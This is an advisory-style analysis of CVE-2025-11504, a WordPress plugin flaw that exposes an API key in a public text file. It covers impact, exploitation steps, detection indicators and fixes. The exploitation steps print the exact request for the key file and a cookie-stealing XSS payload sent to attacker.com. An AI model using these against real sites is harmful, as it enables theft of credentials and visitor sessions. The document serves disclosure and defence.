CVE-2025-11504: 
WordPress vulnerability analysis and mitigation

CVE-2025-11504 is a Sensitive Information Exposure vulnerability in the Quickcreator – AI Blog Writer plugin for WordPress, affecting versions 0.0.9 through 0.1.17. The flaw allows unauthenticated attackers to access the plugin's API key via a publicly accessible text file, which can then be leveraged to create posts or inject XSS payloads. It was disclosed on October 24, 2025, by Wordfence, and carries a CVSS v3.1 base score of 7.5 (High) (Wordfence).

The root cause is classified as CWE-532 (Insertion of Sensitive Information into Log File), where the plugin stores its API key in a world-readable file — /wp-content/plugins/quickcreator/dupasrala.txt — within the WordPress web root. Because this file is served as a static asset with no access controls, any unauthenticated attacker can retrieve it via a simple HTTP GET request. Once the API key is obtained, it can be used to interact with the plugin's backend functionality, enabling unauthorized post creation and XSS payload injection (Wordfence).

Successful exploitation exposes the plugin's API key to any unauthenticated remote attacker, resulting in a high confidentiality impact. Beyond credential theft, the exposed key can be abused to create new posts on the affected WordPress site or inject Cross-Site Scripting (XSS) payloads, threatening site integrity and potentially compromising site visitors. While availability is not directly impacted, the ability to inject content and scripts could facilitate further attacks such as phishing, session hijacking, or malware distribution targeting end users (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11504 as of the latest available data. The EPSS score is approximately 0.043%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the trivial nature of exploitation — a single unauthenticated HTTP GET request — means the barrier to abuse is extremely low for any attacker who discovers the affected plugin (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Quickcreator – AI Blog Writer plugin (versions 0.0.9–0.1.17) using tools like WPScan, Shodan, or by checking /wp-content/plugins/quickcreator/ for directory listings or known file paths.
2. API Key Retrieval: Send an unauthenticated HTTP GET request to the target site: GET /wp-content/plugins/quickcreator/dupasrala.txt HTTP/1.1. If the file is accessible, the response body will contain the plugin's API key in plaintext.
3. API Key Abuse – Post Creation: Use the retrieved API key to authenticate against the plugin's API endpoint and create new posts on the WordPress site, potentially injecting malicious content.
4. API Key Abuse – XSS Injection: Craft a post or content payload containing a JavaScript XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) and submit it via the API, targeting site visitors or administrators who view the injected content (Wordfence).

• Network: Unauthenticated HTTP GET requests to /wp-content/plugins/quickcreator/dupasrala.txt in web server access logs; unusual API calls to Quickcreator plugin endpoints from unexpected IP addresses.
• Logs: Web server access logs (e.g., Apache/Nginx) showing 200 OK responses for GET /wp-content/plugins/quickcreator/dupasrala.txt from external or unknown IPs.
• File System: Presence of the file /wp-content/plugins/quickcreator/dupasrala.txt containing an API key in plaintext; unexpected new posts or content created on the WordPress site.
• Application: New WordPress posts authored by unexpected users or containing JavaScript/HTML injection patterns; XSS payloads embedded in post content or metadata.

Site administrators should update the Quickcreator – AI Blog Writer plugin to a version beyond 0.1.17 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As an immediate workaround, restrict direct web access to the dupasrala.txt file by adding a rule to .htaccess (Apache) or the Nginx configuration to deny requests to that path. Additionally, rotate any exposed API keys immediately and audit recent site content for unauthorized posts or injected scripts (Wordfence, WordPress Plugin Page).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for October 20–26, 2025, noting it among dozens of new CVEs published that week (Wordfence Blog). RedPacketSecurity shared the CVE on social media (Twitter/X and Mastodon), contributing to broader community awareness. No significant vendor statements or major media coverage beyond standard vulnerability aggregation have been observed.